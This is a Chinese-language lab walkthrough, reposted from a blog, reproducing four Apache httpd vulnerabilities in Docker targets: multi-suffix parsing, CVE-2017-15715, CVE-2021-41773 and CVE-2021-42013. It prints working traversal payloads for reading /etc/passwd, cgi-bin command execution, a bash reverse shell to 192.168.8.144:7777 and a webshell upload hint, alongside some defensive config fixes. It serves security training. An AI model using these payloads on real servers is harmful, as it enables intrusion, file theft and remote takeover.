Apache漏洞复现
目录
- 1.Apache多后缀解析漏洞复现(apache_parsing_vulnerability)
- 2.Apache换行解析漏洞复现(CVE-2017-15715)
- 3.CVE-2021-41773 漏洞复现
- 4.CVE-2021-42013 漏洞复现
该漏洞与用户的配置有密切的关系,严格来说属于用户配置问题。Apache文件解析漏洞涉及到一个Apache解析文件的特性。Apache默认一个文件可以有多个以点.分割的后缀,当右边的后缀名无法识别,则继续向左识别。
如果运维人员给.php后缀的文件添加了处理程序
AddHandler application/x-httpd-php .php
那么在有多个后缀的情况下,只要文件含有.php后缀那么该文件就会被识别为PHP文件进行解析。
-
进入到apache_parsing_vulnerability漏洞目录,执行
docker-compose up -d
启动漏洞环境
-
如果这里启动不了的话
setenforce 0
然后重启docker服务systemctl restart docker
-
访问靶机IP,看到如下页面
-
phpinfo.php.jpeg文件中的内容
-
复制路径进行访问,成功查看到phpinfo的信息,说明上传的文件被执行
-
也可上传下方一句话木马配合菜刀、蚁剑等工具获得webshell
docker-compose down
关闭当前靶场
漏洞防御
在配置文件中添加如下内容,匹配样式为 .php. 的文件并拒绝访问 (该漏洞环境配置文件位于漏洞环境目录的 conf/docker-php.conf 生产环境中按照具体情况而定)
require all denied
将原本的 AddHandler application/x-httpd-php .php 注释掉,然后利用正则表达式为.php的文件添加处理程序
SetHandler application/x-httpd-php
httpd2.4.0~2.4.29版本中存在一个解析漏洞,在解析PHP时,
1.php\x0A
将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。
在设置了 正则表达式 对象的 Multiline属性的条件下,
$
还会匹配到字符串结尾的换行符。所以如果在上传时,添加一个换行符也能被正常解析,并且能够绕过系统的黑名单检测。
-
进入到CVE-2017-15715漏洞目录,执行
docker-compose up -d
启动漏洞环境
-
访问靶机地址,看到如下页面
-
尝试上传phpinfo.php文件,报错
-
利用burp抓取文件上传数据包
-
将数据包放行
-
docker-compose down
漏洞防御
-
升级到无漏洞的版本
-
对上传的文件进行重命名
-
上传时采用白名单的验证方式
Apache httpd Server 2.4.49版本引入了一个函数,在对路径参数进行规范化时会先进行url解码,然后判断是否存在…/的路径穿越符,当检测到路径中存在%字符时,如果紧跟的2个字符是十六进制字符,就会进行url解码,将其转换成标准字符,如%2e->.,转换完成后会判断是否存在…/。如果路径中存在%2e./形式,就会检测到,但是出现.%2e/这种形式时,就不会检测到,原因是在遍历到第一个.字符时,此时检测到后面的两个字符是%2而不是./,就不会把它当作路径穿越符处理,因此可以使用.%2e/或者%2e%2e绕过对路径穿越符的检测实现目录遍历。
但需要配合穿越的目录配置 Require all granted,攻击者可利用该漏洞实现路径穿越从而读取任意文件,或者在配置了cgi的httpd程序中执行bash指令,从而有机会控制服务器。
-
文件读取 payload
-
/icons/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
-
命令执行 payload
-
/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/bash
-
将请求方法修改为POST ,然后在请求体写入 echo;命令 将数据包放行即可
-
反弹shell
-
echo;bash -c 'bash -i >& /dev/tcp/192.168.8.144/7777 0>&1'
-
nc -vlp 7777
监听端口7777
-
docker-compose down
Apache HTTP Server2.4.50版本对CVE-2021-41773的修复可以避免一次url编码导致的路径穿越,但是由于在请求处理过程中,还会调用ap_unescape_url函数对参数再次进行解码,仍然会导致路径穿越。
-
启动CVE-2021-42013靶场
-
文件读取payload
-
/icons/%2%65%2%65/%2%65%2%65/%2%65%2%65/%2%65%2%65/etc/passwd
-
命令执行payload
-
/cgi-bin/%2%65%2%65/%2%65%2%65/%2%65%2%65/%2%65%2%65/bin/bash
-
echo;bash -c 'bash -i >& /dev/tcp/192.168.8.144/7777 0>&1'
-
nc -vlp
kali监听端口7777
-
命令执行时操作方法与 CVE-2021-41773 相同
-
docker-compose down
来源地址:https://blog.csdn.net/weixin_46065653/article/details/127299146
免责声明:
① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。
② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341